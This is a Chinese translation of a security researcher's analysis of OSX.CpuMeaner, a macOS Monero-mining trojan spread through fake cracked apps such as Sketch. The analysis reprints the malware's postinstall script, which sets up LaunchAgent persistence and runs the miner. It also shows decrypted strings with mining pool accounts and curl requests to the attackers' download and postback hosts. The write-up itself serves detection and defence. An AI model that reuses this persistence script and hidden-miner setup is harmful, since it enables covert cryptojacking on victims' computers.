針對macOS的新型加密貨幣挖礦木馬OSX.CpuMeaner

Editor發表於2017-12-22


本文中,我們分析了一個針對macOS的新型加密貨幣挖礦木馬。該惡意軟體隱藏於下載的盜版應用程式中,並祕密地利用使用者的硬體進行門羅幣(一種加密貨幣)挖礦。


雖然思路與OSX.Pwnet類似,但實現的方法更接近於惡意廣告軟體。


感染


使用盜版軟體的使用者可能會被來自各種來源的惡意軟體感染,包括簡單的Google搜尋和描述中帶有惡意連結的YouTube視訊。技術支援詐騙,假的Flash播放器和推薦的病毒掃描,都可能導致受害者被惡意軟體包感染。下面的例子是一個使用者正在尋找破解版的Sketch應用程式:
針對macOS的新型加密貨幣挖礦木馬OSX.CpuMeaner


$ curl-svJO http://jumpcash.xyz/download.php-G-d e=pkg-d tag=mosx3-d clickid=2305343-d key="Sketch 47 Crack"

*  Trying46.30.45.236...

*Connected to jumpcash.xyz (46.30.45.236) port80(#0)

> GET/download.php?e=pkg&tag=mosx3&clickid=2305343&key=Sketch47Crack HTTP/1.1

> Host: jumpcash.xyz

> User-Agent: curl/7.43.0

> Accept:*/*

>

< HTTP/1.1200OK

< Server: nginx/1.4.6(Ubuntu)

< Date: Tue,14Nov201710:19:17GMT

< Content-Type: application/octet-stream

< Content-Length:169267

< Connection: keep-alive

< X-Powered-By: PHP/5.5.9-1ubuntu4.21

< Content-Description:FileTransfer

< Content-Disposition: attachment; filename=Sketch_47_Crack-2305343-823868397374412531.pkg

< Content-Transfer-Encoding: binary

< Expires:0

< Cache-Control: must-revalidate

< Pragma: public

<

{ [936bytes data]

*Connection#0 to host jumpcash.xyz left intact

$ shasum-a256Sketch_47_Crack-2305343-823868397374412531.pkg

7a6cc593a8fb2853b817013e28681fa1698fd59d0cea69ba06b7a4b6dc3d5c80 Sketch_47_Crack-2305343-823868397374412531.pkg


目標檔名是使用key和clickid引數生成的。當然,下載的軟體包不包含任何盜版軟體:


針對macOS的新型加密貨幣挖礦木馬OSX.CpuMeaner

在一個假的法文種子站上也發現了該威脅:


針對macOS的新型加密貨幣挖礦木馬OSX.CpuMeaner


一些使用者在Apple論壇上抱怨安裝的可執行檔案xmemapp和cpucooler。 根據VirusTotal,自2017年9月下半月以來,該威脅一直在肆虐,檢測率為0。


軟體包分析


在撰寫本文時,伺服器上有三個軟體包:


$fortaginmosx{1,2,3} ; do curl-s-o $tag.pkg http://jumpcash.xyz/download.php-G-d e=pkg-d tag=$tag ; done

$ shasum-a256mosx*.pkg

d15a51bb1a88a8906a997a0d4c0d3fb35ddd64b722af23120600eeea989ecef9  mosx1.pkg

c3c0da504e40359ce8247b912cbff00cbd32a2222cb53a6bd30f2e44f7781049  mosx2.pkg

7a6cc593a8fb2853b817013e28681fa1698fd59d0cea69ba06b7a4b6dc3d5c80 mosx3.pkg


它們有同一個開發者證照的簽名:


$ ls mosx*.pkg | xargs-L1pkgutil--check-signature | awk'/Developer ID Installer/'

1.DeveloperIDInstaller: Artur Nurgaliev (DEWCRD3789)

1.DeveloperIDInstaller: Artur Nurgaliev (DEWCRD3789)

1.DeveloperIDInstaller: Artur Nurgaliev (DEWCRD3789)


Apple於2017年11月10日撤銷了該證照:


$ ls mosx*.pkg | xargs-L1spctl--assess-v--typeinstall

mosx1.pkg: CSSMERR_TP_CERT_REVOKED

mosx2.pkg: CSSMERR_TP_CERT_REVOKED

mosx3.pkg: CSSMERR_TP_CERT_REVOKED


帶mosx1標記的軟體包釋放xmemapp,而帶mosx2和mosx3標記的軟體包釋放cpucooler:


$forpkginmosx*.pkg ; do echo $pkg: $(pkgutil--payload-files $pkg | egrep-v-e ^\.$) ; done

mosx1.pkg: ./xmemapp

mosx2.pkg: ./cpucooler

mosx3.pkg: ./cpucooler


有效載荷的雜湊值不同:


$fortaginmosx{1,2,3} ; do pkgutil--expand $tag.pkg $tag && tar xf $tag/Payload-C $tag ; done

$ shasum-a256mosx*/{x,c}*

d196aba4d59b132fc9cd6f6ba627166a8eb6631017636b0ed4df7fd0260524a5  mosx1/xmemapp

47e523a8b796c27b6c0fe91a4781aa7b47c8d66ddb75117d3f3283a6079ff128 mosx2/cpucooler

5c41ab1d3aaa33e021eb73c1a58894df8e679366d2f03663b8f1029a0dc80f26 mosx3/cpucooler


它們沒有程式碼簽名:


$ ls mosx*/{x,c}*| xargs-L1codesign-dvvv

mosx1/xmemapp: codeobjectisnotsigned atall

mosx2/cpucooler: codeobjectisnotsigned atall

mosx3/cpucooler: codeobjectisnotsigned atall


它們的安裝位置不同:


$fortaginmosx{1,2,3}; do echo $tag: $(xmllint--xpath"string(//pkg-info/@install-location)"$tag/PackageInfo) ; done

mosx1:/Library/Application Support/XMemApp

mosx2:/Library/Application Support/CpuCooler

mosx3:/Library/Application Support/CpuCooler


安裝完成後,軟體包將執行postinstall指令碼:


將launchd.plist檔案寫入/Library/LaunchAgents以實現持久化;載入Launch Agent;等待10秒鐘然後結束所有帶有可執行檔名的程式;在後臺等待60秒然後執行可執行檔案,並以軟體包名作為引數。以下是帶mosx2和mosx3標記的軟體包的postinstall指令碼:


#!/bin/bash

IDENTIFIER="com.osxext.cpucooler"

INSTALL_LOCATION="/Library/Application Support/CpuCooler/cpucooler"

LAUNCH_AGENT_PLIST="/Library/LaunchAgents/$IDENTIFIER.plist"

echo '<?xml version="1.0"encoding="UTF-8"?>

<!DOCTYPE plist PUBLIC"-//Apple//DTD PLIST 1.0//EN""http://www.apple.com/DTDs/PropertyList-1.0.dtd">

<plist version="1.0">

<dict>

<key>Label</key>

<string>'$IDENTIFIER'</string>

<key>Program</key>

<string>'$INSTALL_LOCATION'</string>

<key>RunAtLoad</key>

<true/>

</dict>

</plist>' >"$LAUNCH_AGENT_PLIST"

FILENAME=$(basename"$1")

/bin/launchctl load"$LAUNCH_AGENT_PLIST"

sleep10&& sudo pkill cpucooler

sleep60&&/Library/Application\ Support/CpuCooler/cpucooler"$FILENAME"&

exit


可執行檔案分析


xmemapp和cpucooler是定製版的XMRig2.3.1(一個開源的門羅幣CPU挖礦程式)。

作者新增了一些函式來去混淆一些字串並將反饋傳送給伺服器:


Postback::sendPostback(std::string const&);

Utils::Utils();

Utils::encdec(std::string);

Utils::exec(std::string const&);

Utils::getNumber();

Utils::hex_to_string(std::string const&);

Utils::jenkins_one_at_a_time_hash(std::string, unsignedlong);

Utils::str_replace(std::string, std::string const&, std::string const&);

Utils::~Utils();


main()函式中設定了預設引數。硬編碼的選項有:


挖礦伺服器的URL-o;挖礦伺服器的使用者名稱-u;挖礦伺服器的密碼-p x;當前CPU的av設定和安全調整執行緒--safe;挖礦執行緒數-t 2。

Utils::encdec()使用Utils::hex_to_string()解碼十六進位制字串,並異或0x4e解密結果:


$ strings mosx3/cpucooler | egrep-e ^[[:xdigit:]]+$-m5

27213c2b296e633c2a7f6e63397e6e632d6e0f3e3e222b0f060d070a273d250a3c27382b3c6e326e2f39256e69611d2b3c272f226e003b232c2b3c6135293d3b2c666c126c6c626e6c6c626e6a7a67753e3c27203a6e6a7a3369

243b233e2d2f3d2660363734

23213d367d

3d3a3c2f3a3b23653a2d3e74616136233c603e212122602327202b3c292f3a2b602d2123747a7b7b787e

232f3c3a27202439262b2b3a0e232f2722602d2123

$ ../decrypt_strings.py mosx1/xmemapp mosx{2,3}/cpucooler

Decrypted stringsfor: mosx1/xmemapp

ioreg-rd1-w0-c AppleAHCIDiskDriver | awk'/Serial Number/{gsub("\"", "", $4);print $4}'

jumpcash.xyz

mosx1

stratum+tcp://xmr.pool.minergate.com:45560

jeffguyen@mail.com

Decrypted stringsfor: mosx2/cpucooler

ioreg-rd1-w0-c AppleAHCIDiskDriver | awk'/Serial Number/{gsub("\"", "", $4);print $4}'

jumpcash.xyz

mosx2

stratum+tcp://xmr.pool.minergate.com:45560

jeffguyen@mail.com

Decrypted stringsfor: mosx3/cpucooler

ioreg-rd1-w0-c AppleAHCIDiskDriver | awk'/Serial Number/{gsub("\"", "", $4);print $4}'

jumpcash.xyz

mosx3

stratum+tcp://xmr.pool.minergate.com:45560

martinjwheet@mail.com


這些二進位制檔案使用2個執行緒(即200%的CPU)在MinerGate XMR池中為jeffguyen@mail.com(mosx1,mosx2)和martinjwheet@mail.com(mosx3)賬號挖礦。


當使用真正的引數(即通過軟體包postinstall指令碼)執行時,main()會在第一個引數(軟體包名)中查詢一個"-"和一個".",找到後,以子字串作為引數呼叫Postback::sendPostback()函式。


Postback::sendPostback()將安裝資料傳送到解密的域名,當中使用了Utils::getNumber():


$ curl-A MNR-w"%{http_code}"http://jumpcash.xyz/pb.php-G-d t=mosx3-d mid=2162179746-d i=2305343-823868397374412531

200


Utils::getNumber()使用Utils::exec()執行解密的ioreg命令。輸出經過Jenkins的one-at-a-time雜湊演算法計算,並轉換為包含在請求引數中的十進位制表示形式。

諷刺的是,Utils::str_replace()和 Utils::enkins_one_at_a_time_hash()函式沒有被使用(死程式碼)。


MNR2變種


在jumpcash.xyz域名被端掉之後,沒過多長時間在其他網站上就出現了更多的變種,比如這裡和這裡:


針對macOS的新型加密貨幣挖礦木馬OSX.CpuMeaner

$fortaginmosx{2,3,np} ; do curl-s-o $tag.pkg http://storekit.xyz/api/v1/download.php-G-d e=pkg-d tag=$tag ; done

$ shasum-a256*.pkg

b6cbc89d0b5a8938c74c1f601a2b7a88b4a3391bf808d2c028885003a16d9b5a  mosx2.pkg

f1da940d6f417ef0001595ed816889ecdcacb41a3d6c921b6e039dc30e35ab8a  mosx3.pkg

6e0ec2d6754138b5971f417176136a7becfd75359919a8a5a3b4233aeaade9b3 mosxnp.pkg


軟體包使用了另一個隨後被很快撤銷的開發者證照:


$ ls mosx*.pkg | xargs-L1pkgutil--check-signature | awk'/Developer ID Installer/'

1.DeveloperIDInstaller: Adam Kortney (9ADZ437492)

1.DeveloperIDInstaller: Adam Kortney (9ADZ437492)

1.DeveloperIDInstaller: Adam Kortney (9ADZ437492)

$ ls mosx*.pkg | xargs-L1spctl--assess-v--typeinstall

mosx2.pkg: accepted

source=DeveloperID

mosx3.pkg: accepted

source=DeveloperID

mosxnp.pkg: accepted

source=DeveloperID


Apple於2017年11月22日將該證照撤銷:


針對macOS的新型加密貨幣挖礦木馬OSX.CpuMeaner

可執行檔案具有新的名稱和安裝位置:


$forpkginmosx*.pkg ; do echo $pkg: $(pkgutil--payload-files $pkg | egrep-v-e ^\.$) ; done

mosx2.pkg: ./mxcpu

mosx3.pkg: ./mxzcpu

mosxnp.pkg: ./moszcpu

$fortaginmosx{2,3,np} ; do pkgutil--expand $tag.pkg $tag && tar xf $tag/Payload-C $tag ; done

$ shasum-a256mosx*/m*cpu

91b929d2470e3507b5faf5f12adb35046d96777e8b55b28b8e859a30924168b2 mosx2/mxcpu

b636b2cc15925e68c200449d5d78a9e169af379e4e3b007075ded00d777ffdc7  mosx3/mxzcpu

9a8b16f0a44cd63bf525142519b23481d4dcfd84d2dae02a0b0b9cb5caf1c147 mosxnp/moszcpu

$fortaginmosx{2,3,np}; do echo $tag: $(xmllint--xpath"string(//pkg-info/@install-location)"$tag/PackageInfo) ; done

mosx2:/Library/Application Support/mxcpu

mosx3:/Library/Application Support/mxzcpu

mosxnp:/Library/Application Support/moszcpu


如果計算機已經被舊的變種感染,則軟體包現有的preinstall指令碼會終止感染並顯示錯誤程式碼。


這是新的postinstall指令碼工作流程:

將launchd.plist檔案寫入/Library/LaunchAgents以實現持久化;如果機器已經感染,則退出;將軟體包名寫入/Library/Application Support/mosxnp/info檔案;載入並啟Launch Agent;等待5秒鐘,檢查可執行檔案是否正在執行;如果沒有,在後臺等待30秒,然後執行可執行檔案,並以軟體包名作為引數;向伺服器傳送安裝狀態請求。

新的可執行檔案基於XMRig2.4.2。自定義功能是相似的。 main()在/Library/Application Support/mosxnp/info檔案中讀取軟體包名。

它們針對macOS Sierra或更高版本(10.12以上),並會在較低的系統版本上崩潰:


$ uname-v

Darwin Kernel Version15.6.0: Mon Aug2920:21:34PDT2016; root:xnu-3248.60.11~1/RELEASE_X86_64

$ ./mxzcpu

dyld: lazy symbol binding failed: Symbolnotfound: _clock_gettime

Referencedfrom:/Library/Application Support/mxzcpu/./mxzcpu (which was builtforMac OS X10.12)

Expectedin:/usr/lib/libSystem.B.dylib

dyld: Symbolnotfound: _clock_gettime

Referencedfrom:/Library/Application Support/mxzcpu/./mxzcpu (which was builtforMac OS X10.12)

Expectedin:/usr/lib/libSystem.B.dylib

Trace/BPT trap:5


這其實是有道理的,因為macOS Sierra需要支援SSE4的處理器,這樣挖礦更快。

以下是解密的字串:


$ ../decrypt_strings.py mosx*/m*cpu

Decrypted stringsfor: mosx2/mxcpu

storekit.xyz

mosx2

ioreg-rd1-w0-c AppleAHCIDiskDriver | awk'/Serial Number/{gsub("\"", "", $4);print $4}'

/Library/Application Support/mxcpu/info

stratum+tcp://xmr.pool.minergate.com:45560

jeffguyen@mail.com

Decrypted stringsfor: mosx3/mxzcpu

storekit.xyz

mosx3

ioreg-rd1-w0-c AppleAHCIDiskDriver | awk'/Serial Number/{gsub("\"", "", $4);print $4}'

/Library/Application Support/mxzcpu/info

stratum+tcp://xmr.pool.minergate.com:45560

martinjwheet@mail.com

Decrypted stringsfor: mosxnp/moszcpu

storekit.xyz

mosxnp

ioreg-rd1-w0-c AppleAHCIDiskDriver | awk'/Serial Number/{gsub("\"", "", $4);print $4}'

/Library/Application Support/moszcpu/info

stratum+tcp://xmr-eu1.nanopool.org:14444

49dP6YfhFHmLWb16jESv8V977cYzbx8zCXz6A7gUh1sn65jQ1eQgUpG9qCs2mfNhVW9Jm86RQpDGTHxokFnutubU6HQCeuN.34c5cb2b877d296b3fcfd9c6fb9a5da0c42b044e7fd52372ae5b6cd9bbe6c5c8.

帶mosxnp標記的變種在Nanopool XMR池中挖礦。

Postback::sendPostback()使用User-Agent MNR2將安裝資料傳送到主機storekit.xyz上的URI /api/v1/pb.php。


VirusTotal樣本


在2017年11月中旬,幾個標籤為mosx3和mosxnp的軟體包上傳到了VirusTotal。

他們的可執行檔案cpulite和mosxnp是MNR2的變種,但是postinstall指令碼略有不同。

XMRig依賴庫libuv和libmicrohttpd沒有靜態連結:符號被匯入。 由於動態庫在目標機器(Homebrew路徑)上很可能不存在,因此這些可執行檔案在啟動時可能會崩潰:


$ otool-L mosxnp

mosxnp:

/usr/local/opt/libuv/lib/libuv.1.dylib(compatibility version2.0.0, current version2.0.0)

/usr/local/opt/libmicrohttpd/lib/libmicrohttpd.12.dylib(compatibility version56.0.0, current version56.0.0)

/usr/lib/libc++.1.dylib(compatibility version1.0.0, current version307.4.0)

/usr/lib/libSystem.B.dylib (compatibility version1.0.0, current version1238.0.0)

$ ./mosxnp

dyld: Librarynotloaded:/usr/local/opt/libuv/lib/libuv.1.dylib

Referencedfrom:/Library/Application Support/mosxnp/./mosxnp

Reason: imagenotfound

Abort trap:6


結論


這個OSX.CpuMeaner是新一類攻擊大趨勢的一部分,因為加密貨幣挖礦攻擊已經在Android,PC,Linux伺服器,甚至是帶CoinHive挖礦指令碼的Chrome上出現。實際上,犯罪分子一直在尋找方法來從感染裝置中獲利,儘管加密貨幣挖礦惡意軟體不是傳統的攻擊方式(比如密碼或其他敏感資料洩露、裝置遠端控制等),但是這種攻擊方式回報豐厚,僅僅需要一個小CPU和一些看起來“清白”的網路通訊。


無法100%確定是否這些攻擊永遠是可行的,但只要市場持續爆發,人們被像門羅幣、DASH等貨幣的誘人的投資回報率吸引,我們就會繼續看到這些攻擊的出現。


原文地址:https://www.sentinelone.com/blog/osx-cpumeaner-miner-trojan-software-pirates/

本文由看雪論壇翻譯小組成員SpearMint翻譯

相關文章